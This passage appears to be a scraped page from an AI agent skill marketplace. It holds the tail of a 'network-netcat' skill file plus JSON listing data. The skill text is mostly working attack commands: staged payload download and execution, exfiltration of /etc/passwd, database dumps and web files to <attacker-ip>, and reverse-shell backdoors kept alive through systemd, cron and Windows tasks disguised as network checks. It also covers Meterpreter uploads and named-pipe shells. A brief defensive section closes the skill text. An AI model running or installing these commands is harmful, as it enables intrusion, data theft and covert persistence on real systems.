Pattern 2: Multi-stage Payload Delivery\n\n```bash\n# Stage 1: Attacker listener\nnc -lvnp 4444 > stage2_payload.sh\n\n# Stage 2: Target downloads next stage\nnc \u003Cattacker-ip> 4444 \u003C \u002Fdev\u002Fnull > \u002Ftmp\u002Fstage2.sh\nchmod +x \u002Ftmp\u002Fstage2.sh\n\u002Ftmp\u002Fstage2.sh\n\n# Stage 3: Execute downloaded payload\n# (payload establishes full reverse shell)\n```\n\n### Pattern 3: Data Exfiltration\n\n```bash\n# Exfiltrate sensitive files\ncat \u002Fetc\u002Fpasswd | nc \u003Cattacker-ip> 5555\n\n# Exfiltrate database dump\nmysqldump -u root -p database_name | nc \u003Cattacker-ip> 5555\n\n# Compress and exfiltrate directory\ntar czf - \u002Fvar\u002Fwww\u002Fhtml | nc \u003Cattacker-ip> 5555\n\n# Receiver\nnc -lvnp 5555 > exfiltrated_data.tar.gz\n```\n\n### Pattern 4: Persistent Backdoor (Authorized Testing)\n\n```bash\n# Create systemd service for persistence (Linux)\ncat > \u002Fetc\u002Fsystemd\u002Fsystem\u002Fnetcat-backdoor.service \u003C\u003CEOF\n[Unit]\nDescription=Network Connectivity Check\nAfter=network.target\n\n[Service]\nType=simple\nExecStart=\u002Fbin\u002Fnc \u003Cattacker-ip> 4444 -e \u002Fbin\u002Fbash\nRestart=always\nRestartSec=60\n\n[Install]\nWantedBy=multi-user.target\nEOF\n\nsystemctl enable netcat-backdoor.service\nsystemctl start netcat-backdoor.service\n\n# Cron-based persistence\n(crontab -l; echo \"@reboot \u002Fbin\u002Fnc \u003Cattacker-ip> 4444 -e \u002Fbin\u002Fbash\") | crontab -\n\n# Windows scheduled task\nschtasks \u002Fcreate \u002Ftn \"NetworkCheck\" \u002Ftr \"C:\\ncat.exe \u003Cattacker-ip> 4444 -e cmd.exe\" \u002Fsc onstart \u002Fru System\n```\n\n## Integration Points\n\n### Metasploit Integration\n\nUse netcat as post-exploitation utility:\n\n```bash\n# Metasploit session backgrounding and netcat shell\nmeterpreter > execute -f nc -a \"\u003Cattacker-ip> 4444 -e \u002Fbin\u002Fbash\"\n\n# Upload netcat to target\nmeterpreter > upload \u002Fusr\u002Fbin\u002Fnc \u002Ftmp\u002Fnc\nmeterpreter > shell\nsh-4.2$ \u002Ftmp\u002Fnc \u003Cattacker-ip> 5555 -e \u002Fbin\u002Fbash\n```\n\n### Scripting and Automation\n\n```bash\n#!\u002Fbin\u002Fbash\n# automated_shell_catcher.sh - Automatic reverse shell handler\n\nPORT=4444\nLOG_DIR=\"shells\u002F$(date +%Y%m%d)\"\nmkdir -p \"$LOG_DIR\"\n\nwhile true; do\n  TIMESTAMP=$(date +%H%M%S)\n  echo \"[*] Listening on port $PORT...\"\n  nc -lvnp $PORT | tee \"$LOG_DIR\u002Fshell_$TIMESTAMP.log\"\n  echo \"[*] Connection closed, restarting listener...\"\n  sleep 2\ndone\n```\n\n## Troubleshooting\n\n### Issue: \"nc: command not found\"\n\n**Solutions**:\n```bash\n# Install netcat (Ubuntu\u002FDebian)\nsudo apt-get install netcat-traditional\nsudo apt-get install netcat-openbsd\n\n# Install ncat (Nmap project, more features)\nsudo apt-get install ncat\n\n# Check available version\nwhich nc ncat netcat\n```\n\n### Issue: \"-e flag not supported\"\n\n**Solution**: Use alternative technique with named pipes:\n\n```bash\n# Linux reverse shell without -e\nrm \u002Ftmp\u002Ff; mkfifo \u002Ftmp\u002Ff\ncat \u002Ftmp\u002Ff | \u002Fbin\u002Fsh -i 2>&1 | nc \u003Cattacker-ip> 4444 > \u002Ftmp\u002Ff\n\n# Or use ncat which supports -e\nncat \u003Cattacker-ip> 4444 -e \u002Fbin\u002Fbash\n```\n\n### Issue: Connection Dies Immediately\n\n**Causes**:\n- Firewall blocking connection\n- No interactive prompt keeping connection alive\n- Process killed by security software\n\n**Solutions**:\n```bash\n# Keep connection alive with while loop\nwhile true; do nc \u003Cattacker-ip> 4444 -e \u002Fbin\u002Fbash; sleep 10; done\n\n# Use ncat with keep-alive\nncat -lvnp 4444 --keep-open\n\n# Add reconnection logic\nwhile true; do nc \u003Cattacker-ip> 4444 -e \u002Fbin\u002Fbash 2>\u002Fdev\u002Fnull; sleep 60; done\n```\n\n### Issue: Can't Get Interactive Shell\n\n**Solutions**:\n```bash\n# Upgrade to PTY shell\npython -c 'import pty; pty.spawn(\"\u002Fbin\u002Fbash\")'\n\n# Set terminal type\nexport TERM=xterm\n\n# Enable raw mode (for Ctrl+C, etc.)\n# On attacker machine, background shell with Ctrl+Z:\nstty raw -echo; fg\n```\n\n## Defensive Considerations\n\nOrganizations can detect netcat activity by:\n\n- **Process Monitoring**: Detect nc\u002Fncat process execution\n- **Network Monitoring**: Unusual outbound connections to non-standard ports\n- **Command-Line Auditing**: Monitor for -e flag usage\n- **Traffic Analysis**: Unencrypted shell traffic patterns\n- **File Integrity**: Detect unauthorized netcat binaries\n\nEnhance defensive posture:\n- Block outbound connections to non-business ports\n- Monitor for process execution from unusual locations\n- Deploy EDR solutions to detect reverse shell patterns\n- Enable egress filtering on firewalls\n- Audit Sysmon Event ID 1 (Process Creation) for nc\u002Fncat\n- Detect named pipe creation (Linux: mkfifo)\n- Monitor cron jobs and systemd services for suspicious entries\n\n## References\n\n- [Ncat Users' Guide](https:\u002F\u002Fnmap.org\u002Fncat\u002Fguide\u002Findex.html)\n- [GTFOBins: netcat](https:\u002F\u002Fgtfobins.github.io\u002Fgtfobins\u002Fnc\u002F)\n- [MITRE ATT&CK: Command and Scripting Interpreter](https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1059\u002F)\n- [PTES: Post Exploitation](http:\u002F\u002Fwww.pentest-standard.org\u002Findex.php\u002FPost_Exploitation)\n- [Reverse Shell Cheat Sheet](https:\u002F\u002Fgithub.com\u002Fswisskyrepo\u002FPayloadsAllTheThings\u002Fblob\u002Fmaster\u002FMethodology%20and%20Resources\u002FReverse%20Shell%20Cheatsheet.md)\n",{"name":5,"tags":57,"version":63,"category":64,"frameworks":65,"maintainer":67,"references":68,"description":71,"dependencies":72},[58,59,60,61,44,62],"networking","netcat","reverse-shell","file-transfer","banner-grabbing","0.1.0","offsec",[66,42],"MITRE-ATT&CK","sirappsec@gmail.com",[69,70],"https:\u002F\u002Fnmap.org\u002Fncat\u002Fguide\u002Findex.html","https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1059\u002F","Network utility for reading and writing data across TCP\u002FUDP connections, port scanning, file transfers, and backdoor communication channels. Use when: (1) Testing network connectivity and port availability, (2) Creating reverse shells and bind shells for authorized penetration testing, (3) Transferring files between systems in restricted environments, (4) Banner grabbing and service enumeration, (5) Establishing covert communication channels, (6) Testing firewall rules and network segmentation.\n",{"packages":73},[59,74],"ncat","main","def8531e65114c0fca8fb8551c1871ee0eed705c","skills\u002Faiskillstore\u002Fmarketplace\u002Fagentsecops\u002Fnetwork-netcat",24,"https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub","https:\u002F\u002Fskillshub.wtf","https:\u002F\u002Fgithub.com\u002FComeOnOliver","AI & Blockchain Engineer\r\n","2026-06-24 22:07:19",{"source":8,"skillName":5,"commands":85,"prompt":95,"zipAvailable":96},[86,89,92],{"tool":87,"command":88},"npx","npx skills add ComeOnOliver\u002Fskillshub --skill network-netcat",{"tool":90,"command":91},"bunx","bunx skills add ComeOnOliver\u002Fskillshub --skill network-netcat",{"tool":93,"command":94},"pnpm","pnpm dlx skills add ComeOnOliver\u002Fskillshub --skill network-netcat","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Faiskillstore\u002Fmarketplace\u002Fagentsecops\u002Fnetwork-netcat\u002FSKILL.md",true,[98,104,108,114,118],{"path":99,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":102,"sourceHtmlUrl":103},"assets\u002Fci-config-template.yml","ASSET","资产文件",11105,"https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Faiskillstore\u002Fmarketplace\u002Fagentsecops\u002Fnetwork-netcat\u002Fassets\u002Fci-config-template.yml",{"path":105,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":106,"sourceHtmlUrl":107},"assets\u002Frule-template.yaml",11044,"https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Faiskillstore\u002Fmarketplace\u002Fagentsecops\u002Fnetwork-netcat\u002Fassets\u002Frule-template.yaml",{"path":109,"resourceType":110,"resourceTypeDesc":111,"sizeBytes":112,"sourceHtmlUrl":113},"references\u002FEXAMPLE.md","REFERENCE","参考文档",15672,"https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Faiskillstore\u002Fmarketplace\u002Fagentsecops\u002Fnetwork-netcat\u002Freferences\u002FEXAMPLE.md",{"path":115,"resourceType":110,"resourceTypeDesc":111,"sizeBytes":116,"sourceHtmlUrl":117},"references\u002FWORKFLOW_CHECKLIST.md",8390,"https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Faiskillstore\u002Fmarketplace\u002Fagentsecops\u002Fnetwork-netcat\u002Freferences\u002FWORKFLOW_CHECKLIST.md",{"path":119,"resourceType":110,"resourceTypeDesc":111,"sizeBytes":120,"sourceHtmlUrl":121},"skill-report.json",35540,"https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Faiskillstore\u002Fmarketplace\u002Fagentsecops\u002Fnetwork-netcat\u002Fskill-report.json",[123,133,143,152,158,165],{"skillNo":124,"name":125,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":126,"categories":127,"keywords":129,"publishedAt":52},"01M6FKJN13GMG4KY57J3QD8GY5","model-hierarchy-skill","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzscole\u002Fmodel-hierarchy-skill\u002Fmodel-hierarchy-skill\u002FSKILL.md",[128],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[130,131,132],"model","model hierarchy","model hierarchy skill",{"skillNo":134,"name":135,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":136,"categories":137,"keywords":139,"publishedAt":52},"01M6FKJJJ6GCAMR4PPPRD12M5X","zoom-mcp","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fzoom-mcp\u002FSKILL.md",[138],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[140,141,142],"MCP","zoom","zoom mcp",{"skillNo":144,"name":145,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":146,"categories":147,"keywords":148,"publishedAt":52},"01M6FKJE3KYT3KPEZMEEHYKA6K","zoom-apps-sdk","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fzoom-apps-sdk\u002FSKILL.md",[],[149,150,151,141],"sdk","zoom apps sdk","apps",{"skillNo":153,"name":154,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":155,"categories":156,"keywords":157,"publishedAt":52},"01M6FKJ9EDH9Q5VWDF8HAJRSP0","windows","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fwindows\u002FSKILL.md",[],[154],{"skillNo":159,"name":160,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":161,"categories":162,"keywords":164,"publishedAt":52},"01M6FKJ666BEEFC3AE9GJ72Q93","whiteboard","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fwhiteboard\u002FSKILL.md",[163],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[160],{"skillNo":166,"name":167,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":168,"categories":169,"keywords":170,"publishedAt":52},"01M6FKJ21WFCDGTJQ2Q91T9DVW","websockets","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fwebsockets\u002FSKILL.md",[],[167]]